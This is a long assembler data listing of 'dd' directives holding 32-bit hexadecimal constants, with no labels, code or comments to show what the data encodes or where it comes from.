dd 0D9D804F0h, 0C0542193h, 0AD7027D9h, 3C5BFA0Eh, 7CE981Bh
dd 12FB2E10h, 0A870064h, 0AD574F48h, 0F4E3E101h, 6ABF972Ch
dd 409FE196h, 1E39DB1Dh, 0B7912009h, 8DA2B500h, 9E6F1A4h
dd 9F06C3D1h, 1D3ACD10h, 0B71F0824h, 0C7415F92h, 88BE04A3h
dd 0F48EE180h, 0A472AB46h, 0B89BB300h, 0A926F1E6h, 23EE0FE9h
dd 0FF64069Dh, 0B5A591D2h, 44936E5h, 0FFF0B9A7h, 0E864AD83h
dd 1FB6733h, 0EA0229A1h, 3FD1FCEh, 0A66400CCh, 0E4B699B1h
dd 8F0028F3h, 7B938456h, 0ECCA7ED7h, 1F8924Eh, 3F2C4D54h
dd 208180F9h, 2500476Bh, 0AE107848h, 3BC5F37h, 0E203D09Bh
dd 16A30ACAh, 766F148h, 0C35A466Dh, 9F77E040h, 0A8D598B2h
dd 0C4A518Fh, 8CC2085Dh, 0BF189213h, 490F4379h, 701E9842h
dd 0E9E000CEh, 85A78318h, 5B00A693h, 647C551Bh, 0B87F57C0h
dd 0EEFCFC34h, 0E7AD4C8Ah, 5CB89D0Bh, 370025D0h, 0CDD49269h
dd 0E6F7A7E0h, 5DE24CCBh, 0C49B2F00h, 0B1464C45h, 8077D927h
dd 0ECEBACA5h, 2EEE00D7h, 6D2B1429h, 6C00556Ah, 0AB94A9AEh
dd 0DAEFE8h, 0F5A8FDCCh, 35E4CDE2h, 240D2200h, 624B6077h
dd 92A70FB0h, 97E513B2h, 9DF302CAh, 63415503h, 85FA3015h
dd 0AA00B87Eh, 410FC64h, 6FB02DBh, 3D73B90Eh, 64901211h
dd 2B25242Eh, 0D5D2139Fh, 85455A0Bh, 23C07D47h, 0BA777F4h
dd 0A218B8B0h, 42D73680h, 0D3C00E6Ah, 70859243h, 82479487h
dd 5EE0314h, 24B23152h, 3B6A5F07h, 81457F98h, 0C3AC6881h
dd 3ECF270h, 2F445303h, 34FBB04Fh, 0A03AD308h, 422F60F2h
dd 0BDCA94FCh, 6D00D89Ah, 0EB95AAADh, 0DC91EF6Eh, 464D0047h
dd 385FFE7Bh, 640B196Dh, 0F88022B1h, 0DD00E423h, 26D4C5ACh
dd 0B8C6ED05h, 962B900h, 0E0009FB8h, 6DCE4BEFh, 22035A02h
dd 0A37DD91Ch, 67FBFFh, 0C989C268h, 659BE1CEh, 6B146860h
dd 4C8C4C64h, 0B6564ED5h, 251AC112h, 5A0F90ECh, 8D00CC1Fh
dd 0D4C39322h, 6EFAEE7h, 3E841DE8h, 0E005308h, 0A7CEE607h
dd 2EFB1CBEh, 120CB330h, 2A18000Ah, 0EB428AB7h, 31F6D300h
dd 7C1EAD18h, 5D46005Bh, 57AC99BEh, 0D14CDB11h, 0DAE10056h
dd 564E5C2h, 2C9713D6h, 3F529Dh, 72653148h, 2FC15E94h
dd 62455D64h, 2ED9CB70h, 30C1EB40h, 0BAF0361Dh, 1C00DCBh
dd 9EC04EFh, 0E85EC030h, 1F8D60C3h, 97748C93h, 46F1C09h
dd 9C148275h, 78560B3h, 0C0B3ACEh, 998D1780h, 7E937738h
dd 0D766D11Fh, 25DD80FBh, 97B536A5h, 78613076h, 54A2C440h
dd 0A1C5D03h, 0F7536BF9h, 723D5A40h, 0B823001Eh, 5CA26929h
dd 93FC8726h, 653E2000h, 0F2189106h, 6D3D5D44h, 1909640h
dd 2411C552h, 0ECC2CDDEh, 0CC00D39Bh, 4AF4A6DFh, 2E2B0763h
dd 59F20BEh, 0C04E6633h, 5187CD03h, 5730AF60h, 943850h
dd 20665383h, 0A2C94F92h, 0C691980Bh, 885E0949h, 0E80FE91h
dd 34E6CFF6h, 0AF02008Ah, 6B6AA3CAh, 8400E5BCh, 0D8F99E98h
dd 62ECB7h, 0CEF55F0Ch, 23B21D18h, 4F64730Fh, 79AF464Ah
dd 0DF7F001Dh, 8AF3872Bh, 0A9B9EBA8h, 0C9948385h, 0C79315D1h
dd 0C7371064h, 10EE8E36h, 730AB61Ah, 294A6B00h, 0CB36E35Eh
dd 7D9A183Ch, 0EDB85A68h, 4121525h, 0F1903EDEh, 309CE27Bh
dd 6C4C0166h, 2C7C4465h, 0C73EDC12h, 0B936F002h, 0B6998019h
dd 4C2BF6E1h, 212C83AEh, 9E1B806Ah, 900DD8FFh, 225D4B0h
dd 7CC50485h, 683C41D0h, 0EF299FFBh, 9D569C55h, 0F6FF125Fh
dd 56554292h, 74DEC7Dh, 349C0EF0h, 3E35F051h, 609574E3h
dd 6810404h, 0B207E8F1h, 0BB3D0C37h, 0F44B2078h, 1362F33h
dd 0F28599FEh, 19B8545Eh, 0C2D652C9h, 0B0753E00h, 4F458F29h
dd 6024E808h, 81E901A5h, 5911A131h, 0B2B9AC3Ah, 0A0F45714h
dd 586DE9F8h, 211FBDD6h, 0B8ED00E8h, 7AAA8B7h, 0C5033Eh
dd 5464BBE0h, 1E940Dh, 1B6E41F6h, 0FE839F7h, 0E05A2AA0h
dd 6137C200h, 41D1365Ch, 14A70082h, 0D981CE68h, 53272922h
dd 0C7BFE5Dh, 0D8A55A1Ch, 0D34ABA07h, 0F2D16D0Dh, 0C9FC52Fh
dd 5F0A9B0Fh, 5F838CB2h, 0B2FBB966h, 3E0106FBh, 0DD9F081h
dd 0B9FB2596h, 8F4721E9h, 15A98DB0h, 0B70F1910h, 0D47712DFh
dd 601C4217h, 0B03CBA66h, 5AF71E51h, 6893B61h, 56A282AFh
dd 49F4CE8Ah, 0D86993Dh, 0C348E917h, 680C00E2h, 599DDD76h
dd 0F0B4A6Fh, 0E8FFB085h, 12CACB70h, 0E77949Fh, 0EEE117B4h
dd 0E0703C20h, 727C101Ch, 9E94130Ch, 78770854h, 6146149h
dd 9D7F111Ch, 55061D21h, 7911427Dh, 9B200AF7h, 31C2BF2h
dd 79ED203h, 2DA31109h, 1B6F86A0h, 0A4790E81h, 1118CA31h
dd 4208AA93h, 0B9C962Ch, 8FF5FE13h, 64083426h, 108B449h
dd 76EA9387h, 0F440504Ah, 447D1BE7h, 0A609FA63h, 2FDF9D56h
dd 43B5E36Ah, 0ECC80002h, 0BB0ADA01h, 0E0061693h, 256E11D5h
dd 4B3A1E10h, 0B038C0F4h, 0E2539092h, 6771E001h, 69A1A6DCh
dd 14196A20h, 0A428FCF2h, 1DC33C7Ch, 103A8E18h, 0A9C0B9CAh
dd 5711FB40h, 5F50064h, 1EC34F46h, 0FD3C5F4Dh, 0E77D0114h
dd 0FC502312h, 3C7840D0h, 4B0039DDh, 674C05E4h, 4A740FD1h
dd 8034943Dh, 6C1CF776h, 77C046h, 3BFA7A74h, 19F1704Ah
dd 0C2765000h, 0FD605112h, 134D2918h, 61674338h, 4AC701C3h
dd 6A635418h, 0C3420308h, 56B000F7h, 5C571EECh, 730077FFh
dd 6A14FB61h, 327945Dh, 38F77C51h, 32C04776h, 0E00A7A5Bh
dd 68136D3Eh, 7722DB07h, 4507C083h, 41FF839h, 16B59E0Ch
dd 960AAA10h, 0C889DCD2h, 3EB86180h, 0B89E7370h, 9B9F810h
dd 124B2793h, 0CFC4828h, 1D188825h, 28DC3A4Ch, 22240831h
dd 0C8801C79h, 4324DD3Eh, 2CC2506Bh, 0F58612DCh, 0C00115Eh
dd 89E8DA8Fh, 0C0505158h, 0A6FE5730h, 58D83F55h, 888835A0h
dd 387C96AEh, 1FC440C2h, 30B04B22h, 0FE59C640h, 78A8AE73h
dd 27501DC4h, 3F431658h, 0B0A77FBEh, 0BF0B437Eh, 9D6DB21h
dd 0BB469EF4h, 9B13A880h, 0CC9228F3h, 0C18EA80Ch, 0E172858h
dd 979A6FB4h, 1AEA085h, 0A778940Ch, 98E42418h, 0C220913h
dd 0E0F4B800h, 0E8741D43h, 0C295090h, 972C1277h, 1FFC499Fh
dd 0C03CF984h, 0C0D0A0B0h, 5820FE3Ah, 0CF97C68h, 0BEFC887Ch
dd 579058A0h, 0D3AA2F3Fh, 227FA264h, 0F06173E0h, 88C5465h
dd 0B848D6BCh, 0FC86BF10h, 88FA8076h, 0F041B62Ah, 0FA907914h
dd 0E043CAF8h, 5C24B126h, 8921E10h, 40B13548h, 0C185BD72h
dd 32048E29h, 0E428988Ch, 0B4F504D4h, 0C9119A43h, 0C298BF7Ch
dd 0C88F9067h, 21957B8Bh, 71E26BB8h, 17495185h, 73883319h
dd 50ACE04Ch, 98846864h, 0CB948498h, 902A4240h, 506D080Ch
dd 80501F64h, 99465DA3h, 0B3D6140Ch, 57720B8Ch, 4F041517h
dd 6E889EAAh, 3CC2E0FAh, 27B2F404h, 9994F4FEh, 20751640h
dd 0B3EA2841h, 148A2F0Ch
dd 996D6880h, 34E6C20Ch, 0D0428C81h, 0F80C33F4h, 0D43F473Dh
dd 34DA10A8h, 80A17BC8h, 8C993946h, 54B2490Ch, 0D59C1624h
dd 21EA1611h, 94B1B2D4h, 9690A04Fh, 20D328B1h, 0E4892C14h
dd 7462D84Dh, 613A7D1Ah, 542350BEh, 0E37CE2DDh, 4A78E484h
dd 816DA8B0h, 0CA9EFAF0h, 6AD85379h, 5849BE30h, 4CA998B2h
dd 0B7422C35h, 46D83589h, 52F08DDDh, 153A30F2h, 937B7110h
dd 0BEC70C12h, 105A7807h, 6A6188C8h, 7144DC28h, 8D963BE5h
dd 1FC618E3h, 0E7BA1390h, 74ED70C7h, 0ED688C8h, 0DA459C20h
dd 11A13C18h, 0E4AA9C65h, 0C13CE851h, 0EFEC0317h, 1CD8551Eh
dd 0AC11403Ch, 46E3D326h, 1CCB4924h, 0D7510940h, 0BD1400BCh
dd 11EA66D0h, 1C7E2293h, 0AB7CB900h, 6B39F61Ah, 65B01815h
dd 0AC2C3874h, 0F15C6400h, 13EF25AAh, 826B4809h, 73141C09h
dd 7427C420h, 2C00CA4Dh, 0B4156796h, 346413Fh, 63984556h
dd 0EDE0C8F6h, 99306475h, 14861053h, 18397AD9h, 870B11Fh
dd 1700ACB6h, 98E9C383h, 1DC9F467h, 40A71512h, 69183B52h
dd 1118DE59h, 0D958B99Dh, 880D0F4Bh, 606D1CDCh, 0D0D2F191h
dd 62138D5Fh, 840B5FAh, 5A2C1425h, 0A2B8F7h, 9A8ED565h
dd 97D42ABBh, 9ECAFD00h, 886BECADh, 9BFB8ACh, 0F1905811h
dd 48834B00h, 2900E5AFh, 21276C08h, 0FCE471Dh, 0F53E0FCDh
dd 0DC410783h, 8B46C2EFh, 3EDC148Fh, 0D430C803h, 0D3984B0Fh
dd 0CD00849Ah, 0EE105943h, 1CD7F803h, 0BFD0322Bh, 82DD5780h
dd 84837C15h, 7004077h, 0E2D1F746h, 27CD8Ch, 5F22DB71h
dd 0D7FD43DAh, 517450C0h, 95EE05h, 11660DD3h, 0CE8CE064h
dd 233F8701h, 8E856971h, 389A2081h, 4F371BE5h, 78E21120h
dd 0AD542C80h, 0DD60D492h, 6C53F3C1h, 4CC900C1h, 39CEC534h
dd 98C0B410h, 0A21BCC31h, 0ABCD0088h, 9725E49Ah, 300C1232h
dd 90B86F0h, 0C421C09Dh, 0BE66973Dh, 8BDE2800h, 592C345h
dd 73F700E2h, 148EC983h, 0F06791Ch, 0E8BA0D5Fh, 0A22C0318h
dd 57CB25F5h, 0F00AB7E0h, 0D660F700h, 0E692814h, 9CC851FFh
dd 9BC4E0B8h, 0CC677E18h, 54697A18h, 180D8CB9h, 18EFAD0Eh
dd 3718D45Bh, 84A0F1B3h, 1C7FCEDh, 66087B20h, 98104C8Fh
dd 3221E408h, 0A1C73E07h, 2ACF987h, 94CAC09Dh, 0F0C878Eh
dd 58F8C346h, 84BD287Dh, 2AB03A0h, 0DED1559Ah, 24033DA0h
dd 0BC51000h, 397F120Ah, 0F5733E60h, 8F0746D8h, 806C81E9h
dd 0EC5E6933h, 0FD19A53Dh, 0A46F1B05h, 2C00BCFFh, 4ECA33AAh
dd 5A3F0021h, 0C50A24D7h, 0CCA322E4h, 0D5D95015h, 0CBCD00FCh
dd 5D29483Fh, 0F1EF0C3Eh, 0C0084654h, 371621C0h, 0E0AD7648h
dd 4451C0BEh, 4601685Ch, 0D8F15B30h, 753C355h, 0C95F646Bh
dd 73F0000Ah, 0C006DFCh, 243C6AD1h, 116F163Fh, 2971E8E4h
dd 3B0144DDh, 1E5D2D48h, 1288CE18h, 9C480033h, 63E1789Bh
dd 0E90579B8h, 0EF41617Ah, 1E01E001h, 6200C2EBh, 0DB0C2866h
dd 0F8F7AC7Ah, 0F489304h, 12649724h, 20E76238h, 0EA973CCBh
dd 40090E6h, 0D771A243h, 3E1BB41Eh, 24C99959h, 2F5A5B12h
dd 0EE02314h, 0FA02C55h, 5DB0C85h, 20F2A430h, 7B2732Eh
dd 5F245CA1h, 5EFEE0A8h, 98C68B7Eh, 0A19FA2h, 0B551AC19h
dd 0AD39DECh, 505FB300h, 272A1718h, 0F9C107AAh, 0D27A40CBh
dd 1440010Bh, 109282BDh, 9000A47Fh, 89272A8h, 0C8B20DCh
dd 8D19DBC4h, 674C1161h, 33405003h, 0E2D4F100h, 344124F4h
dd 0FF19009Eh, 984BCD11h, 8160B3ECh, 70217B59h, 0A33403D5h
dd 0DB1BF26Fh, 832488BCh, 445E2E00h, 8D4972FBh, 18E6EEh
dd 30932212h, 2B5566B4h, 31240EEAh, 98303421h, 0C087BC27h
dd 0B1257A61h, 3F03010Ah, 0CF19D010h, 0A075A211h, 0B2DD4490h
dd 2D4E3C7Bh, 0FC967194h, 0FEFD5C04h, 3218C0ECh, 0BAF0DCF1h
dd 3B01B4Ch, 7B05132Ch, 9850D119h, 96D46982h, 93C0E04Ch
dd 4805CB3Ch, 7F656710h, 0FD588800h, 0E47E83C2h, 3560188Bh
dd 0A246187Dh, 26A09154h, 30B6DB0Eh, 0EC5960B2h, 60BCEE09h
dd 2DD6A976h, 7EF0E5FDh, 98535000h, 789CC935h, 0FA220016h
dd 0F64CDA0h, 3D26DB30h, 1BB0C06h, 18A2D69h, 47E921FBh
dd 484A42F0h, 0D415444Fh, 705B4D9h, 80A6C068h, 77D730B3h
dd 0B0295200h, 2BD4E8B4h, 0E98E61BDh, 0D4FFAED5h, 0CA00F2D7h
dd 68F722E6h, 1A945A86h, 28994170h, 60DBD484h, 232B4831h
dd 0C43E4E5Dh, 48490014h, 9B8FDD6Eh, 0F60E47F4h, 54396712h
dd 32AF0094h, 0A1F1D30Bh, 5698A99Ah, 43223E80h, 19807B11h
dd 93A01F00h, 9584F392h, 0BC7C240Ch, 157D4060h, 4F0440B6h
dd 3B2368E0h, 87549481h, 49821A0h, 0E0144BDh, 2D50D07Fh
dd 0E4A0CF5Fh, 34817805h, 22FE3020h, 0E800985Dh, 0ED3E543Dh
dd 396D32E1h, 3BA423C5h, 19BE9878h, 94910BDBh, 53C58F8Eh
dd 873DCC07h, 913497F9h, 0B02780E3h, 5463AAh, 0B3555791h
dd 9A3EB232h, 1AA47B3Ah, 807E0B87h, 0D5D74664h, 3B8CB28Ah
dd 793DDA2Ch, 855630FEh, 1D3ED0C9h, 88115F2Ch, 0AFEA7480h
dd 4D0E8BD6h, 7A0444F6h, 0C0E67159h, 37E5764h, 7894FA50h
dd 7946490Fh, 0C03A929Ah, 74007223h, 18363CD8h, 0E99960A2h
dd 0D2B0C789h, 429D640Fh, 0FA53A435h, 3F686F86h, 5D046AC0h
dd 811F36DDh, 0E03C25CCh, 0CE32EF7Eh, 30268884h, 6C98B124h
dd 22440752h, 0DC43007Eh, 93C32FB2h, 960B58F1h, 259981Ch
dd 4F35358h, 0E8BCC30Dh, 0E4E9A124h, 3086810h, 558397A1h
dd 0B07771C1h, 119B7F7h, 0EBE0454Bh, 72D4BDB2h, 0F199109Ch
dd 79A30F03h, 10BE4561h, 7F944F09h, 5D8C20D6h, 0B5623B6h
dd 0A610CC55h, 38CD70BAh, 1B9ED5E0h, 0E7DC001Dh, 54B80F31h
dd 0DE12934Ch, 0D31704D8h, 0C8103823h, 610752h, 6A290EFFh
dd 0EAFBF79Fh, 1C943917h, 2A904C37h, 757346D5h, 800C4906h
dd 0E8DDEB00h, 0A3A05418h, 0F561CD0Ch, 7237E8E3h, 508A0545h
dd 82592FF8h, 0E4890968h, 8985688Fh, 4AE402C6h, 0ECA9B910h
dd 14525818h, 0F61EC900h, 92BD1FD0h, 1D4713FFh, 826C05A8h
dd 0C945812Ah, 61E47425h, 2AF87920h, 0D48AD2h, 0FB078D2Eh
dd 0F55FD184h, 0ACEB4A28h, 0E7B31102h, 801C6A0Dh, 50BB8B48h
dd 2C944879h, 8C71E8h, 57BE7B61h, 91441D48h, 36B33D07h
dd 0EC666971h, 3F9A0298h, 8EDD56FBh, 4184F0A0h, 0D80E4ACDh
dd 55D2947Ah, 771302F4h, 0C86C8C99h, 809C112Ch, 0F03A185h
dd 0D18F0832h, 0AB201F84h, 73DCA16h, 98F07820h, 732D0E8Ch
dd 4CA6378Eh, 8C39D69Eh, 579C54BDh, 3A2CC81Ch, 0F4403480h
dd 75B3913h, 5EEB2520h, 402A4726h, 443D6C27h, 97803000h
dd 2E2F3538h, 152600ECh, 16F45739h, 20015333h, 3D543F7Ah
dd 0A3F3EB17h, 3C28302Eh, 163B5F10h, 0EFB053F8h, 0F4553500h
dd 30573815h, 4B293C7Ah, 5D03393Eh, 422E2220h, 83CF2AC3h
dd 5FA92833h, 0AB1824FAh, 0C07D04ADh, 3143D43Eh, 4107B490h
dd 500314FAh, 0DB5318AAh, 91112CBBh, 55E06F54h, 0D1AF3F52h
dd 1ED5AB0Ch, 161718E4h, 15F8B77h, 33CAAAA0h, 2859ACF0h
dd 14EC651Dh, 4BC07BCh, 6E107E0Dh, 0B7A8CE0h, 9E4B68AAh
dd 82C804h, 5FCFF09Bh, 792300CBh, 0C1BC87AFh, 0E27C470h
dd 328480EBh, 27359E3Ch, 0E818687Eh, 0BB205178h, 282098C0h
dd 9040617Fh, 545530F8h, 32983DD9h, 2C1D889Ch, 2644F831h
dd 2110CAD0h, 0DD8092A4h
dd 60AC0255h, 16028F96h, 6886ED8Fh, 417F0DC8h, 2688289h
dd 87055B22h, 686CDB8Ch, 0F88C640Eh, 17011FE0h, 71D24287h
dd 0BF1040BEh, 0BC85019Bh, 43800D59h, 0ACB6461h, 0B5CE84B1h
dd 0D8E3518Ch, 188F9447h, 8B488021h, 7053842Ch, 24B312h
dd 0DA8C3CC0h, 0D4932E01h, 0C75E4060h, 25008EB2h, 0E3F87D7h
dd 0CAF28B0Ah, 3248F189h, 2C4E8509h, 64910D78h, 499D605Ch
dd 95D0CAFFh, 810767F8h, 996C1357h, 36F5B890h, 275B0733h
dd 21423B7Ah, 0CB533923h, 8CA528C3h, 50B03878h, 35152516h
dd 0EB03541Fh, 0A0371B31h, 2263B58h, 8DD91E2Eh, 60981192h
dd 7D02C328h, 1721EBA0h, 0D704B013h, 53397C02h, 8400CE4h
dd 273D1F22h, 0CC532233h, 11391474h, 88F38F08h, 2B8B6F86h
dd 3AE15C85h, 65D520A0h, 327D098Dh, 8994F68h, 4C0A14B1h
dd 19F9E0A9h, 2905599Dh, 48334410h, 23A39E67h, 203E0823h
dd 8D7080DBh, 36FD81E3h, 2988F89Ch, 0A0CF38Dh, 0C88CF430h
dd 17390350h, 2834CF4Bh, 2CB53199h, 0E00D3071h, 0B85DD429h
dd 82098332h, 80488124h, 8E228F91h, 898C8D44h, 248A128Bh
dd 0A4884889h, 76083352h, 4A03F5A0h, 0A3ED938h, 0F4302334h
dd 52B8D646h, 83CA84F2h, 5E625D04h, 0E508858Bh, 1524BC00h
dd 7779AD3h, 8B4AD4F3h, 8A09C0F6h, 63004ECCh, 99D1CDECh
dd 0E82D1535h, 54F33C07h, 5C3E0F3Ah, 0D20C173Ch, 0F5403F9Ah
dd 8029EC40h, 8C016343h, 8B993ECDh, 4829F35Ch, 40FFDAFh
dd 0D725ABFEh, 25018866h, 21D44804h, 0CF173202h, 5538CC4Ah
dd 28314780h, 80D43DDBh, 1719221Ch, 20903D9h, 4181014h
dd 0EEAABFh, 87FBC72h, 617DDC4h, 5F0CE8Ch, 0B1FC218Bh
dd 0AC38D452h, 48DA00E6h, 8C79401h, 3FF8D84Eh, 0B018F060h
dd 21C56EAh, 7620CC97h, 1C87F716h, 74E3C05Eh, 0EDEEC3D3h
dd 2F28D752h, 83E453F8h, 33CF460Bh, 4D44B973h, 3E3800FAh
dd 2E223755h, 68033F51h, 15361E8Bh, 253CC02Ch, 0D4590028h
dd 265D2D6Bh, 423F2E27h, 8F14D221h, 58370632h, 54380F30h
dd 5D82133Bh, 27002530h, 453422h, 572F2B37h, 52F59AE6h
dd 3F283800h, 3226FACCh, 18E56141h, 0C82B3C42h, 171D3A5Bh
dd 8036533Fh, 67237428h, 40380640h, 413E1635h, 5D3778C3h
dd 20310C33h, 3E593815h, 0C245F29h, 0FA00A8A1h, 37573327h
dd 0CE1BD2Fh, 20884016h, 5E533421h, 460701F8h, 8CE0A7FBh
dd 4406DAE0h, 775F4D91h, 31AFC8E5h, 7E409079h, 0EA3F9539h
dd 0D2E80286h, 0CEC93BDEh, 579889FFh, 84E034BBh, 79005B9Bh
dd 13C41AACh, 0DCE905DBh, 0F69DC071h, 0AD7094ECh, 3549B40h
dd 57FE8B5Bh, 2807887Fh, 0D40D0B43h, 0D6E308B1h, 89CA0024h
dd 8718412Bh, 8680689h, 8D05DAEDh, 0CD2D443h, 0A9A11231h
dd 2CA09B18h, 11F1F70Fh, 0BC0198B4h, 40A4E299h, 38C60DF4h
dd 0CEB4CF0h, 0D170959Ah, 0C765BC59h, 0A821A281h, 318CB9B3h
dd 585960DBh, 0C112D501h, 17AC837Eh, 68F2D183h, 0D3B2BF7Ch
dd 62EED084h, 63AD1890h, 96067343h, 31607E0Dh, 0B9A8D530h
dd 0C0E5DDD6h, 0CA8F0969h, 0F5337196h, 12F9C8ABh, 0BB51B6F1h
dd 6789C50h, 0D98716C7h, 0B7B31B31h, 47D2188Ah, 69724C82h
dd 8845888h, 9283DF71h, 0F9015605h, 49108B83h, 0FC30617Fh
dd 71A230B8h, 8918C5F3h, 564C0A88h, 0E8849458h, 0C3918F31h
dd 10E52B0Eh, 14B27848h, 0A473D559h, 0B2C27B9Dh, 0B1744D9Eh
dd 0B1582B8h, 0D508D421h, 804356CCh, 82FD4711h, 84DA6178h
dd 882BED28h, 6A8544CFh, 0A2DA7B10h, 1A5D11C9h, 0B3598B88h
dd 478D7508h, 0A551988Fh, 428D0D08h, 4214F89Fh, 502523A8h
dd 1085F5EFh, 0CDFD849Dh, 0C4467A3Fh, 24D5D413h, 66C885Ch
dd 99049244h, 41DF1360h, 0D134B134h, 1121818Ah, 8B7EBDAEh
dd 817C8C32h, 8043128Eh, 52C37B34h, 9890C89Dh, 36426F9Eh
dd 49C51A13h, 911193A0h, 58E430B4h, 0C5909B80h, 31EA0610h
dd 84FB084Ch, 7AEB4D61h, 26DEF4C3h, 45386CD1h, 0FA4871A1h
dd 0FF40919Ch, 1A71A04h, 0D4E8887Eh, 0D0DCDE48h, 2B49D8A8h
dd 216C6FB1h, 0FD448F02h, 44BCA447h, 0A29C2C7Ah, 0D95F4018h
dd 6E39AA50h, 0A8C10102h, 0B33CFA17h, 1BB96840h, 70503BCAh
dd 42F3B41Eh, 0F97E055Dh, 4CDC94C0h, 2FC39219h, 63F061D0h
dd 8E70C0F3h, 0F84484F0h, 0ADC3541Eh, 8797EB83h, 660FF8CDh
dd 28C1604Bh, 0A8B45424h, 64957302h, 84D7719Fh, 7441F688h
dd 30EDE159h, 0B20019DCh, 0DEFF5A57h, 37DD5D22h, 7E88EB9Ah
dd 8C4BA560h, 67081394h, 5F75F66h, 88A1DA74h, 161F7C54h
dd 4840A878h, 0DC4432E5h, 8AAC0057h, 0D5D862FEh, 0A0DE1A3Fh
dd 3E24E5D0h, 6A1100h, 0C05F562Bh, 7603D50Ah, 3548002Eh
dd 4DBCF1A5h, 0F03A4B0Ch, 0C55A8337h, 0C068DE92h, 0A5809h
dd 0A8215DCFh, 0AB5902E3h, 232CAE03h, 8B0CC2A7h, 2D20A045h
dd 32D100B6h, 54C6B421h, 0CD1FA72Fh, 0AD013F4Dh, 0D1551053h
dd 3EB312D0h, 0A9D20D3h, 48033EF7h, 0B02551ADh, 0B515400Fh
dd 533980C0h, 0A43B27AEh, 1E1EF840h, 2822A5B0h, 1E017C99h
dd 2951D1AEh, 0A898B030h, 0A7531F2Eh, 0AD520F1Ch, 4D0E302Fh
dd 51A7A94Fh, 32A8451Eh, 8C858C60h, 0C046F0Ah, 70A71E2Eh
dd 82751D1Fh, 0C3830A6Fh, 0B43BE018h, 3A002CD1h, 0D097D4B5h
dd 5744C368h, 0AF0A2C1Fh, 7C42153h, 0C074DF52h, 0F8684839h
dd 4D7C38ACh, 396E5E00h, 23AFAE43h, 144AE92Dh, 0A004047h
dd 5EFA39F8h, 3B1D29F7h, 480AADA4h, 0A881F8A9h, 76D245C3h
dd 7AB4944Ah, 1C32F804h, 1E05535h, 0ECF5459h, 5291F030h
dd 0D5B5481Dh, 0A9A71004h, 0D05E34C0h, 0E8009A53h, 2882F11Fh
dd 39C3670Ch, 3B569848h, 8286B13Eh, 54C2A648h, 60406312h
dd 0E14D2850h, 33F1F8B5h, 0CF6C5120h, 57A5B4A8h, 50D5EC90h
dd 93838374h, 609141FAh, 0C4FF040Ah, 3080F375h, 0B51AFA8h
dd 21DC57ECh, 986D9024h, 58926E40h, 1E216C05h, 5483C6B3h
dd 383DC168h, 0FA52D030h, 7728F06Eh, 1F40C42Dh, 0ECC0C0B7h
dd 2C03A4B6h, 2ED56A10h, 0A010A611h, 1488A8Ch, 54A9A62Dh
dd 60C3B33Ah, 0C04CAB70h, 12613CFCh, 0A0031C6Dh, 18B62528h
dd 60B21010h, 0AC90B322h, 54C058C0h, 306CA739h, 6D402451h
dd 0C174A915h, 0FC82D6Fh, 2FA50723h, 7C2E304Ch, 0C7C178ECh
dd 0C01F54A1h, 0A13B53DCh, 392CC20Ah, 4489868h, 0F8A5567Dh
dd 20DCA907h, 0D4D86A85h, 0D4B03BFAh, 0C760ECACh, 0AD4F816Fh
dd 0C36AF42Ah, 0B81E5024h, 571838E9h, 0F0A64814h, 71C2526h
dd 44B63B2Fh, 0AEE8812Eh, 0F383D56Dh, 0C0A9300Bh, 77C0F55h
dd 0D7801E5Dh, 51AF2D53h, 41A606Eh, 0E37581FAh, 0C4642F20h
dd 0D7A82C41h, 71A716B4h, 36D36AE4h, 98A42C0Ch, 0D0BA1105h
dd 0A4A7DC83h, 284DD887h, 0B1D1B5F0h, 0C1C24C4h, 0C309AD6Ah
dd 52C42E58h, 50329FE4h, 0CC0C8B5h, 10542E89h, 3B240720h
dd 218D4FB7h, 0F0A9F169h, 0C3E83822h, 2E0A20B9h, 435A2C1Fh
dd 980E63Ch, 1E2CC0B5h, 58443486h, 2F6DC20Eh, 115D27A9h
dd 0CAFAB0CCh, 69183380h, 9FB15002h, 0C87F386Dh, 8DC7704h
dd 7BD99F29h, 0EB7D40DDh, 6A033FFBh, 8B5AB4D1h, 0A165C0D0h
dd 8A1CA5C3h, 7418C682h, 69C9E700h, 6594D38Ah, 0C5BD2984h
dd 7600DE68h, 9453A6C2h, 4CB5D3h, 69A9BD92h, 4FC0D590h
dd 0B4C48410h, 95C966CCh
dd 9B50C254h, 0A0EF681Dh, 0C7D16400h, 77F974Ch, 0BB9053C2h
dd 0B084C7B4h, 0C08869C5h, 8A0352E8h, 9167F9BDh, 9757A0C2h
dd 56C33AB6h, 929F1Dh, 65BBE295h, 0BA0FD190h, 0C28C4Dh
dd 0C7BE7367h, 0C1880052h, 0DE4956BDh, 0E2E832A9h, 0D19C40F9h
dd 913364F9h, 0C8C221B6h, 0F3BE9767h, 0CBC90D0h, 0B7959BBBh
dd 0C0FE8598h, 0D906C8DDh, 268992Ch, 0B8DA6648h, 8085884Dh
dd 0C0342E69h, 0B8C29738h, 0C7F0F067h, 1AB69360h, 38015F68h
dd 56C6BC8Dh, 8FC7F442h, 33B4E0A8h, 0A0B5BD88h, 3A987FF0h
dd 9400704Bh, 0C7BC9769h, 0B730929Bh, 63B421C0h, 0B8D11D95h
dd 0C8B61458h, 0C1D3490Ch, 0C8A1C390h, 7B608193h, 4DB4CF6Ah
dd 104B384Dh, 88E0A6F3h, 486FC5D1h, 865286E8h, 793A1D28h
dd 973609D6h, 3DC1C08h, 8D52C1D4h, 0A1562001h, 865AC7D3h
dd 0C4CC0D0h, 53C57F8Bh, 7C92B5E8h, 5229C881h, 808866C4h
dd 49A1418Ch, 8B0C20E0h, 837C20F1h, 57BBB61Fh, 8862EF10h
dd 0DC8E68C6h, 10669B85h, 7874D8D0h, 0BADCEBBDh, 48E4C58h
dd 80795078h, 0C296025Ah, 0C02C71FDh, 4C95B085h, 556049F0h
dd 0D0DF8A33h, 6883E784h, 4E280C4Bh, 0D3E9C549h, 58499681h
dd 6325DC4Ch, 0F056089Eh, 0C6973009h, 0C01C20FDh, 12BE4968h
dd 0A8D6BC9h, 6FF45A44h, 978478F4h, 943882D2h, 0C8032042h
dd 73E0B87Fh, 677CC7B6h, 6CE8BE66h, 0BCF083C0h, 40B20CDh
dd 0B480A4FBh, 4CD49555h, 0EB01DCB8h, 0C28B52A2h, 16E5F8D9h
dd 2D1E5478h, 0DC00D1F7h, 2313EE6Eh, 0F2193C18h, 10E29618h
dd 42EA8C20h, 947B28C7h, 251E56C0h, 748101A5h, 4BF0D329h
dd 23388676h, 80A35Dh, 965422B0h, 0FE5CA4D1h, 7F0F4600h
dd 0AE711A74h, 0AA60C43h, 0D92075D4h, 0EF32671Eh, 37E120A9h
dd 830C7EFAh, 30001E76h, 0BB5E4B22h, 3AA99F8Fh, 494026D3h
